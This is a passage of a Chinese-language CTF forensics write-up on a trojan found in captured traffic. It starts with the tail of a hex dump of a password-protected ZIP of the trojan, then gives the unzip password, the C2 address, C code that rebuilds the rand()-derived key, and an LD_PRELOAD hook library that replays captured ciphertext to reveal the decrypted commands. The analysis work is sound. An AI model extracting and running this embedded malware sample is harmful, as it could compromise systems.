cff59a765ab7a1c52b7e62f4b88b080ce688714ea00bcd4c5e603c7a2e73eed1795d8958bc16e9457020585d46c2c210d407caca8925746ba8a9dc67903a86c5e883ecf0a4103b5f742bb7275e60a1ae326349f73c9754fe78e1fa2012c9ffd04a6b6a2019e6aff4e1195441630f1d7b919922ed16fc7a06dd08c7df59c9729af49fd5f325af9712a982c5b2d499e3efd1fdb37d2df4977a0786debc7dee8082406ea3474b840742f53b51ef2c8197a4033ae04f5ee3652e6eeb1c33943e3748f16b12bf20de2c983fb7bee1ad6801e867f3da272364b21653b460effcb781b34119903895b3daf8e0783b9bd27d73d56a2294f428fb532d2330738c2f59948ed049312f238f99a9daf3d38db6afe1b406f608399cd837875828dd8aa44070efcd131f5f976d224e7e7022bdf17e1bebd05e9d98637e27c732dd6a4660cf59b7a9e32aa8e33837919f86b9f60bcb53926c40b7e3134cf95673e7e579ed81991a64d3a2bc9677daf2e7acaa33a50aa4249932545ae4195d8a13683f3460bbc3bbeded28c58d50ce63bdddda4a5d0d894a5c704443c013e53393d887f8407e0332ce41e462d41d7f81ff0fe095f0feb0cb789f40a033356bbb63bd4519cbfd772d85ecb244b6740ef554377d57b9c9f0fdb9ed11e5d72e7e28d66fd34130b70fee6cbd0469cd9927eefb844b2286a45b6023a682621d3672619e57bcce26c0dc39117ac8d04c3b3ec7f639d9379ec5cc0b313ab62bbfe8198b60573fe96c4f4b13196462c39d3bd79b5a152211eca5fce5bc02d15b4d385e5de668c927dd4d0f7c6f0bd9898b9a110571f1d3c98796b9534f0c40327dfc5bb70e0aff89845a12038e31cc63107885582818abf94ec6a9b36655f8e1541e06dccb929b1fc28f2825a13bc13e9ccee304394f3cdfa18179f5aed4059482c889609867fdf0babd73735e583eb4886bb9f4ef71ca57a51f7b70b0e9157ea2fda7dc990879d5ebd240a6c6d2ced45219a56c9ebe334a38d8ebb5ba8b3c46575ca42336153394328d6f454f10a146590422b94b64f291240be27e8d653ff92390dd71302af099e50e1c06b16ab12795d687d30effe49343f90604b7691580acb7e4564f58d31835ea7cf3a505f09fe3c2df6a6a5bc3d311a8bf3f26fe8572828837d821b38cf4fd6f2421a4e496fae5fcb04b9f1ae53991838327822e5ca84976cb70c8ae1da7c2b6ccd65659bda0bda09615e54e952ed46ad9363cbb455db1cd00263f047455c2143517bf48b64b39e279ba576730a2aa84f3f9bced6fc04836500c85b61e8d6e946c3e0fb21299157e26d619e8d623af1597f9d02932ef664a1125800247eb55c820e9f9123f9176bbc66bc23ee91b452621d1e33d43f0cdf20d6e4f1f1f2ae3de204a5284453ac8e383824be409f9f3b0ef7c7ce10e577c360dad017efe5e6e755bb3b1f7a497d3be835a13251942cf828fcb8cb5cb18d19c219a67d16ed6030161c6e1ac828bab5d1599fe9917d69f530ce504b0708e01c1a3483100000f8380000504b01021e031400090008002431955be01c1a3483100000f8380000050018000000000000000000ed81000000007368656c6c555405000354d5476975780b000104000000000400000000504b050600000000010001004b000000d21000000000"

# 轉換並寫入文件
with open("shell.zip", "wb") as f:
    f.write(binascii.unhexlify(hex_data))

print("提取成功:已保存為 shell.zip")

發現解壓需要密碼,而根據1813流解出來的指令

unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip

密碼就是nf2jd092jd01,解壓縮出東西來,然後ida啓動,進入到main函數來

首先是木馬嘗試連接到控制端 IP 192.168.1.201,端口 58782

連接成功後,木馬首先調用 sub_18ED 從服務器接收 4 個字節的數據存入 v7

代碼對 v7 進行了字節序轉換,大端轉小端或反之,並將其作為 seed

調用 srand(seed) 初始化隨機數生成器,通過循環 for ( i = 0; i <= 3; ++i ) v8[i] = rand(); 生成 4 個隨機整數,一共16個字節

這裏的 v8 數組就是後續對稱加密算法,比如 AES使用的原始密鑰

sub_13B4(v10, v8, 0LL):使用 v8 初始化解密狀態,用於處理收到的指令

sub_13B4(v9, v8, 1LL):使用 v8 初始化加密狀態,用於加密返回的結果

題目要求提交的是木馬樣本通信使用的加密密鑰

根據代碼,密鑰是動態生成的,依賴於服務器發送的第一個 4 字節種子

在流量包中找到與 192.168.1.201:58782 的 TCP 流

找到 TCP 三次握手之後的第一條數據包,由服務器發往木馬客户端

提取這前 4 個字節

因為由於該木馬是 ELF 文件,它調用的 rand() 函數遵循的是 Linux glibc 的隨機數生成算法

Python 自帶的 random 庫使用的是 Mersenne Twister 算法,與 C 語言的 rand() 完全不同

因此,Python 腳本必須通過 ctypes 庫調用 Linux 系統的標準 C 庫(libc.so.6)來獲取一致的結果

但是我搞了好久也沒有搞定,最後決定直接用C語言寫得了

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
    //  0x34, 0x95, 0x20, 0x46
    // 在小端序機器上,這 4 個字節組成的 int v7 = 0x46209534
    uint32_t v7 = 0x46209534; 

    // 2. 模擬 IDA 中的字節序轉換邏輯
    uint32_t seed = ((v7 >> 8) & 0xFF00) | 
                    ((v7 << 8) & 0xFF0000) | 
                    (v7 << 24) | 
                    ((v7 >> 24) & 0xFF); 

    printf("[*] Calculated Seed: 0x%08x\n", seed);

    // 3. 初始化隨機數 (Linux 環境下的 srand)
    srand(seed);

    // 4. 生成 16 字節密鑰 v8
    uint32_t v8[4];
    for (int i = 0; i <= 3; ++i) {
        v8[i] = rand();
    }

    // 5. 按內存順序輸出 hex
    unsigned char *ptr = (unsigned char *)v8;
    printf("flag{");
    for (int i = 0; i < 16; ++i) {
        printf("%02x", ptr[i]);
    }
    printf("}\n");

    return 0;
}

找個C語言在線編譯網址就可以了

6.SnakeBackdoor-6

請提交攻擊者獲取服務器中的flag。結果提交形式:flag{xxxx}

這裏當時沒有解出來,後面聽別的師傅説是SM4加密,又是不懂的玩意,比賽完使用hook進行一個復現

參考資料:https://www.aristore.top/posts/CISCN2025Quals/#SnakeBackdoor-6

在上一題main 函數中,密文被解密後存入了 command 變量,隨後立即執行了 popen(command, "r")

popen 是一個標準庫函數,如果我們能寫一個自己的 popen,當木馬調用它時,系統跑的是我們設計好的代碼,那就可以在我的代碼裏把 command 參數打印出來,所以popen 就是我們的泄密點

想要讓程序運行到 popen 這一步,前面必須滿足一系列條件

首先,連接必須成功:程序裏有 if (connect(...) < 0) exit(1)

那我們偽造 connect,讓它永遠返回 0

其次,密鑰必須正確,程序用 rand() 生成密鑰

那麼我們就劫持 rand(),不管程序怎麼算,都讓它吐出上一題那個ac46fb610b313b4f32fc642d8834b456密鑰

接着必須有數據輸入,程序用 sub_18ED,底層調用 recv,從網絡讀指令

所以要劫持 recv,當程序要讀數據時,把流量包裏的十六進制密文塞給它

所以整個惡意軟件的運行邏輯就是

連接C2服務器 (connect) → 生成加密密鑰 (rand × 4) → 接收密文長度 (recv) 
→ 接收密文數據 (recv) → 解密命令 (內部解密函數) → 執行命令 (popen) 
→ 回傳結果 (send)

首先由於後續操作中需要處理大量十六進制字符串,首先需要一個輔助函數將十六進制字符串轉換為二進制字節流

這個函數是整個 Hook 代碼的基礎設施,其他所有函數都會依賴它來進行數據格式轉換

// 十六進制轉二進制
void hex_to_bin(const char *hex, unsigned char *bin) {
    size_t len = strlen(hex);
    for (size_t i = 0; i < len; i += 2) {
        sscanf(hex + i, "%2hhx", &bin[i / 2]);
    }
}

這個函數的實現原理非常直接,遍歷輸入的十六進制字符串,每兩個字符組成一個字節,使用 sscanf 的 %2hhx 格式説明符將其解析為一個字節值,並存儲到目標緩衝區中

例如,十六進制字符串 "ac46fb61" 會被轉換為字節序列 [0xac, 0x46, 0xfb, 0x61]

然後就是connect,讓其return 0就可以了

int connect(int fd, const struct sockaddr *addr, socklen_t len) {
    return 0;
}

接着,程序使用 偽隨機數生成器來動態生成加密密鑰

具體來説,程序首先從 C2 服務器接收一個 4 字節的種子值,然後用這個種子初始化 srand(),接着連續調用 4 次 rand() 生成 4 個 32 位整數,這 16 字節的數據就是加密密鑰,也就是上一題得到的flagac46fb610b313b4f32fc642d8834b456,我們的目標是讓程序在調用 rand() 時返回這個預定義密鑰的各個部分

那麼使用靜態變量 key_bin 存儲十六進制密鑰的二進制形式,rand_call_count 跟蹤 rand() 的調用次數,第一次調用時將十六進制密鑰轉換為二進制,後續每次調用時取出 4 字節數據作為 unsigned int 返回

const char *KEY_HEX = "ac46fb610b313b4f32fc642d8834b456";

int rand(void) {
   
    static unsigned char key_bin[16];
    static int rand_call_count = 0;
    static int inited = 0;

    // 轉二進制
    if (!inited) {
        hex_to_bin(KEY_HEX, key_bin);
        inited = 1;
    }

    // 每次調用取出 4 字節作為一個整數返回給 v8[i]
    if (rand_call_count < 4) {
        unsigned int val = *(unsigned int *)&key_bin[rand_call_count * 4];
        rand_call_count++;
        return val;
    }
    return 0;
}

然後程序通過 recv() 系統調用從 C2 服務器接收數據

這裏接收過程分為兩步,首先接收 4 字節的密文長度,然後接收對應長度的密文數據,這個過程會重複多次,每一對長度,數據代表一條加密命令

這些密文數據來自流量包中的實際通信記錄,通過 Wireshark 追蹤流 1827,可以獲取完整的密文長度和密文序列,也就是上一題追蹤到的那些,這些數據被組織成一個 DATA 數組,每兩個元素為一組:第一個是密文長度的十六進制表示,第二個是對應的密文

可以使用 recv_step 靜態變量記錄 recv() 的調用次數,根據調用次數的奇偶性來決定返回長度還是數據

第一次調用返回任意 4 字節作為握手包;奇數次調用(1、3、5...)返回當前密文的長度,也就是需要轉換為網絡字節序;偶數次調用(2、4、6...)返回對應的密文數據

const char *DATA[] = {
    "00000010", "49b351855f211b85bd012f80ce8ed5b3",
    "00000010", "2cc5becb37ca595a89445461c6512efc",
    "00000010", "b863696da0c6bb28da46e09069dd644f",
    "00000030", "87e8faa921f3e67c530f1b6740a9d439...",
    // ... 更多密文數據 ...
    NULL  // 結束標記
};

ssize_t recv(int sockfd, void *buf, size_t len, int flags) {
    static int recv_step = 0;           // 記錄調用次數
    static unsigned int current_len = 0; // 當前密文長度

    // 握手包
    if (recv_step == 0) {
        memset(buf, 0x41, 4);  
        recv_step++;
        return 4;
    }

    int idx = recv_step - 1;

    if (DATA[idx] == NULL) {
        exit(0);
    }

    // 長度(奇數次調用)
    if (recv_step % 2 != 0) {
        sscanf(DATA[idx], "%x", &current_len);

        // 創建4字節緩衝區存儲長度值
        unsigned char len_buf[4];
        // 構造網絡字節序(大端序)
        len_buf[0] = (current_len >> 24) & 0xFF;  // MSB
        len_buf[1] = (current_len >> 16) & 0xFF;
        len_buf[2] = (current_len >> 8) & 0xFF;
        len_buf[3] = current_len & 0xFF;          // LSB

        memcpy(buf, len_buf, 4);
        recv_step++;
        return 4;
    }

    // 密文(偶數次調用)
    if (recv_step % 2 == 0) {
        unsigned char *cipher_bin = (unsigned char *)malloc(current_len);
        hex_to_bin(DATA[idx], cipher_bin);

        // 將二進制密文數據複製到緩衝區
        memcpy(buf, cipher_bin, current_len);

        // 釋放臨時分配的內存
        free(cipher_bin);
        recv_step++;
        return current_len;
    }

    return 0;
}

程序解密命令後,會使用 popen() 函數執行解密後的 shell 命令

這是整個攻擊鏈的終點,現在要執行了,我們的目標是在命令執行前將其打印出來,這樣就能獲取明文內容。

通過 Hook popen() 函數,在它被調用時打印傳入的 command 參數,然後返回一個合法的文件指針(指向 /dev/null),讓程序以為命令執行成功了

FILE *popen(const char *command, const char *type) {
    printf("%s\n", command);
    return fopen("/dev/null", "r");
}

為了讓程序穩定運行而不崩潰,還需要處理兩個額外的函數

因為在 popen() 中返回的是 /dev/null 的普通文件流,而不是真正的進程管道

當程序後續調用 pclose() 嘗試關閉這個假管道時,或者調用 send() 通過無效的 Socket 回傳結果時,程序會報錯退出

Hook pclose():當程序嘗試關閉不存在的管道時,直接返回成功即可

Hook send():當程序嘗試通過 Socket 發送數據時,直接返回發送長度,表示發送成功,但不真正執行任何網絡操作

int pclose(FILE *stream) {
    if (stream) fclose(stream);
    return 0;
}

ssize_t send(int sockfd, const void *buf, size_t len, int flags) {
    return len;
}

所以最終的hook.c代碼就是把上述的都拼在一起即可

然後linux環境下執行終端命令

# 編譯為共享庫
gcc -fPIC -shared -o hook.so hook.c -ldl

# 使用 Hook 庫運行木馬程序
LD_PRELOAD=./hook.so ./shell

LD_PRELOAD 環境變量告訴動態鏈接器在加載其他共享庫之前先加載指定的庫,這樣我們 Hook 的函數就會優先於系統的同名函數被調用

學習了學習了,hook的好處就是不需要理解程序內部的加密算法實現,只需要知道加密密鑰並控制程序的輸入輸出流程

7.總結

篩選定位:Wireshark過濾 http contains "keyword",追蹤TCP流重組完整會話,異常特徵:數據量過大、危險函數調用、多層編碼

編碼解碼:Base64(字符集+4倍數長度)、Hex(0-9A-F)、URL編碼,逐層解碼到明文

加密分析:找到密鑰硬編碼位置或協議協商邏輯,實現加解密算法,注意跨平台rand()實現差異

惡意提取:識別PK頭(ZIP)、明文腳本,提取還原攻擊代碼

高級Hook:當加密複雜時,用LD_PRELOAD劫持connect/rand/recv/popen,注入流量數據獲取解密命令

更多網安技能的在線實操練習,請點擊這裏>>

 

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.